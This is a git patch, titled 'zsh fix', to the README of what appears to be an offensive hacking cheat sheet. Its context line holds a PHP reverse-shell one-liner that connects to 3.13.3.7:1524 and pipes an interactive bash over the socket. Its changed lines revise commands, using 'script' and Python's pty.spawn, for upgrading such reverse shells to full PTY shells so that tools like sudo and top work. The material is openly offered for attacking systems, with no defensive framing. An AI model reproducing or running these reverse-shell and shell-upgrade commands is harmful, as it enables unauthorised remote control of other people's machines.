From 4bbf8e8b0c6570a0c4d25fd8bc6654d442cd71fc Mon Sep 17 00:00:00 2001 From: SkyperTHC <5938498+SkyperTHC@users.noreply.github.com> Date: Tue, 8 Sep 2020 03:45:27 +0100 Subject: [PATCH] zsh fix --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 3ec5267..8830eef 100644 --- a/README.md +++ b/README.md @@ -392,14 +392,14 @@ php -r '$sock=fsockopen("3.13.3.7",1524);exec("/bin/bash -i <&3 >&3 2>&3");' Any of the above reverse shells are limited. For example *sudo bash* or *top* will not work. To make these work we have to upgrade the shell to a real PTY shell: ``` -$ script -qc /bin/bash /dev/null # Linux -$ script -q /dev/null /bin/bash # BSD +$ exec script -qc /bin/bash /dev/null # Linux +$ exec script -q /dev/null /bin/bash # BSD ``` Or: ``` # Python -$ python -c 'import pty; pty.spawn("/bin/bash")' +$ exec python -c 'import pty; pty.spawn("/bin/bash")' ```